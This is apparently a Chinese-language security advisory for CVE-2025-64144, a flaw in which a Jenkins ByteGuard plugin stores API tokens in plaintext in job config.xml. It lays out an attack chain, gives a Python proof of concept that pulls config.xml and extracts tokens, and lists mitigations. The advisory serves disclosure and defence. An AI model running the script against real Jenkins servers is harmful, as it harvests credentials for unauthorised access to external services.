IPBUF安全漏洞报告
English
CVE-2025-64144 CVSS 4.3 中危

CVE-2025-64144: Jenkins ByteGuard插件API令牌未加密存储漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64144
漏洞类型
敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins ByteGuard Build Actions Plugin 1.0

相关标签

敏感信息泄露API令牌泄露凭证管理Jenkins插件漏洞配置安全权限控制ByteGuard

漏洞概述

Jenkins ByteGuard Build Actions Plugin 1.0版本存在敏感信息未加密存储漏洞。该漏洞允许具有Item/Extended Read权限的用户或能够访问Jenkins控制器文件系统的用户查看存储在job config.xml文件中的API令牌。攻击者可以利用此漏洞获取存储在配置文件中的明文API令牌,这些令牌通常用于与外部服务进行身份验证。攻击者获取到API令牌后,可以模拟合法用户访问外部服务,可能导致数据泄露、未授权访问或其他安全风险。该漏洞的CVSS评分为4.3,属于中等严重程度,主要影响机密性。由于API令牌以明文形式存储在配置文件中,任何能够访问这些文件的用户都能直接获取敏感凭证信息。此类漏洞在多租户Jenkins环境中风险尤其高,因为不同用户可能共享同一Jenkins控制器,但权限配置不当可能导致敏感信息被未授权用户访问。

技术细节

该漏洞源于Jenkins ByteGuard Build Actions Plugin在存储API令牌时未采用任何加密保护机制。在Jenkins插件架构中,插件通常会将配置信息存储在job的config.xml文件中。ByteGuard插件在保存API令牌时,直接将明文令牌写入配置文件,而未使用加密或哈希保护。当用户访问config.xml文件时(如通过Jenkins API或直接文件系统访问),可以获取到明文API令牌。攻击者利用此漏洞需要满足以下条件之一:1)拥有Jenkins项目的Item/Extended Read权限,可以通过API或UI获取config.xml;2)能够直接访问Jenkins控制器的文件系统。获取到API令牌后,攻击者可以将其用于对外部服务的认证,实现横向移动或数据窃取。修复方案应包括:使用JenkinsCredentialsProvider存储加密凭证,或在存储前对API令牌进行加密处理。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标Jenkins服务器上使用ByteGuard Build Actions Plugin的Job
STEP 2
2. 权限获取
攻击者获取Jenkins账户的Item/Extended Read权限或获取服务器文件系统访问权限
STEP 3
3. 配置提取
通过Jenkins API获取job的config.xml文件,或直接访问服务器文件系统读取配置文件
STEP 4
4. 令牌提取
从config.xml中解析ByteGuard插件存储的配置,提取明文API令牌
STEP 5
5. 凭证滥用
使用获取的API令牌访问外部服务,实现未授权访问、数据窃取或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64144 PoC - Jenkins ByteGuard Plugin API Token Leak # Requires: Jenkins access with Item/Extended Read permission import requests from xml.etree import ElementTree import re JENKINS_URL = "http://target-jenkins-server" JOB_NAME = "vulnerable-job-name" USERNAME = "attacker" API_TOKEN = "attacker-api-token" def get_config_xml(): """Retrieve job config.xml via Jenkins API""" url = f"{JENKINS_URL}/job/{JOB_NAME}/config.xml" headers = {"Accept": "application/xml"} response = requests.get( url, auth=(USERNAME, API_TOKEN), headers=headers, verify=False, timeout=30 ) if response.status_code == 200: return response.text else: print(f"Failed to fetch config.xml: HTTP {response.status_code}") return None def extract_byteguard_tokens(config_xml): """Extract unencrypted ByteGuard API tokens from config.xml""" tokens = [] # Search for ByteGuard related configuration byteguard_patterns = [ r'<byteGuard[^>]*>.*?</byteGuard>', r'<apiToken[^>]*>([^<]+)</apiToken>', r'<token[^>]*>([^<]+)</token>' ] for pattern in byteguard_patterns: matches = re.findall(pattern, config_xml, re.DOTALL) tokens.extend(matches) return tokens def main(): print("[*] CVE-2025-64144 - ByteGuard Plugin API Token Extraction") print(f"[*] Target: {JENKINS_URL}/job/{JOB_NAME}") config_xml = get_config_xml() if not config_xml: print("[-] Unable to retrieve config.xml") return tokens = extract_byteguard_tokens(config_xml) if tokens: print(f"[+] Found {len(tokens)} potential API token(s):") for i, token in enumerate(tokens, 1): print(f" Token {i}: {token.strip()}") else: print("[-] No ByteGuard tokens found in config.xml") if __name__ == "__main__": main()

影响范围

Jenkins ByteGuard Build Actions Plugin 1.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)审查并限制具有Item/Extended Read权限的用户列表;2)加强对Jenkins控制器文件系统的访问控制,限制非授权用户访问;3)定期审计config.xml文件的内容,检查是否存在敏感信息泄露;4)考虑暂时禁用ByteGuard插件或替换为其他安全的替代方案;5)实施网络隔离,限制对Jenkins服务器的访问范围;6)启用详细的访问日志记录,以便及时发现异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表